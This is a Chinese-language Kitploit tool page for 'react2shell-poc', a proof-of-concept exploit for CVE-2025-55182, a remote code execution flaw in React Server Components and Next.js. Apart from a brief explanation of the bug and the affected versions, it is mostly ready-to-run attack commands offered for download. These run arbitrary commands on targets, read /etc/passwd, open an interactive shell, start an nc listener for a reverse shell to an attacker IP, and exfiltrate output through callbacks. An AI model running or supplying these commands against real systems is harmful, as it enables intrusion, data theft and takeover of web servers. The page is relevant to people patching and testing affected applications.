Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
react2shell-poc — CVE-2025-55182 React2Shell PoC - React Server Components / Next.js 中的严重 RCE。CVSS 10.0。基于错误的渗出、反弹 shell、交互模式。 | Kitploit
工具/GitHubGitHub/p3ta00/react2shell-poc
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制学习与教育远程访问工具
GitHubp3ta00/react2shell-poc

react2shell-poc

CVE-2025-55182 React2Shell PoC - React Server Components / Next.js 中的严重 RCE。CVSS 10.0。基于错误的渗出、反弹 shell、交互模式。

查看仓库
912个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

React2Shell - CVE-2025-55182 概念验证

CVE-2025-55182 的概念验证,这是 React Server Components 中一个严重的未认证远程代码执行漏洞。

CVSS 分数: 10.0(严重)

漏洞

该漏洞存在于 React 的 Flight 协议反序列化器中。通过利用特制负载进行的原型污染(prototype pollution),攻击者可以在受影响的 Next.js 应用程序上实现任意代码执行。

受影响版本

产品受影响版本已修复版本
React19.0.0 - 19.2.019.0.1, 19.1.2, 19.2.1+
Next.js14.3.0-canary.77 - 16.x15.0.5, 15.1.9, 15.2.6, 16.0.7+

安装

root@kitploit:~
git clone https://github.com/p3ta00/react2shell-poc.git
cd react2shell-poc
pip install requests

使用方法

命令执行并获取输出(默认 - 基于错误的外带)

输出通过 NEXT_REDIRECT 错误直接返回在 HTTP 响应中 - 无需回调服务器。

root@kitploit:~
python3 react2shell-poc.py -t http://TARGET:3000 -c "id"
python3 react2shell-poc.py -t http://TARGET:3000 -c "cat /etc/passwd"

交互模式

root@kitploit:~
python3 react2shell-poc.py -t http://TARGET:3000 -i

检查漏洞

root@kitploit:~
python3 react2shell-poc.py -t http://TARGET:3000 --check

盲 RCE(无输出)

root@kitploit:~
python3 react2shell-poc.py -t http://TARGET:3000 -c "touch /tmp/pwned" --blind

反弹 Shell

root@kitploit:~
# Start listener
nc -lvnp 4444

# Send payload
python3 react2shell-poc.py -t http://TARGET:3000 --revshell --lhost YOUR_IP --lport 4444

旧版:基于回调的外带

root@kitploit:~
python3 react2shell-poc.py -t http://TARGET:3000 -c "id" --listen --lhost YOUR_IP

选项

root@kitploit:~
-t, --target       Target URL (required)
-c, --command      Command to execute (output via error-based exfil by default)
--check            Check if target is vulnerable
--blind            Blind RCE mode (no output capture)
--listen           Use callback server instead of error-based exfil
-i, --interactive  Interactive pseudo-shell mode
--revshell         Attempt reverse shell
--lhost            Attacker IP for callbacks/reverse shell
--lport            Callback port (default: 9999)
--callback         Manual callback URL
--timeout          Request timeout in seconds (default: 30)

工作原理

默认的外带方法使用 NEXT_REDIRECT 错误注入:

  1. 执行命令并捕获输出
  2. 抛出一个 NEXT_REDIRECT 错误,将输出放入 digest 字段
  3. Next.js 在 Flight 响应中序列化该错误
  4. 输出直接出现在 HTTP 响应体中

这比基于回调的外带更可靠,因为它不需要目标具有出站网络访问权限。

参考链接

  • Wiz Security - React2Shell 漏洞披露
  • Datadog 安全实验室分析
  • NVD - CVE-2025-55182

免责声明

此工具仅用于授权的安全测试和教育目的。未经授权访问计算机系统是违法行为。测试前请始终获得适当授权。

作者

p3ta

下载工具